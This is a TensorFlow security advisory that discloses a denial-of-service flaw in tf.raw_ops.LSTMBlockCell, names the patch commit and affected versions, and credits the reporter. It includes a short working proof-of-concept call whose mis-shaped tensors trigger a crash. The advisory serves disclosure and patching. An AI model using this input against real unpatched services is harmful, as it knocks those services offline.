Impact

The implementation of tf.raw_ops.LSTMBlockCell does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:

import tensorflow as tf

tf.raw_ops.LSTMBlockCell( 
  x=tf.constant(0.837607, shape=[28,29], dtype=tf.float32),
  cs_prev=tf.constant(0, shape=[28,17], dtype=tf.float32),
  h_prev=tf.constant(0.592631638, shape=[28,17], dtype=tf.float32),
  w=tf.constant(0.887386262, shape=[46,68], dtype=tf.float32),
  wci=tf.constant(0, shape=[], dtype=tf.float32),
  wcf=tf.constant(0, shape=[17], dtype=tf.float32),
  wco=tf.constant(0.592631638, shape=[28,17], dtype=tf.float32),
  b=tf.constant(0.75259006, shape=[68], dtype=tf.float32),
  forget_bias=1, cell_clip=0, use_peephole=False)

The code does not validate the ranks of any of the arguments to this API call. This results in CHECK-failures when the elements of the tensor are accessed.

Patches

We have patched the issue in GitHub commit 803404044ae7a1efac48ba82d74111fce1ddb09a.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.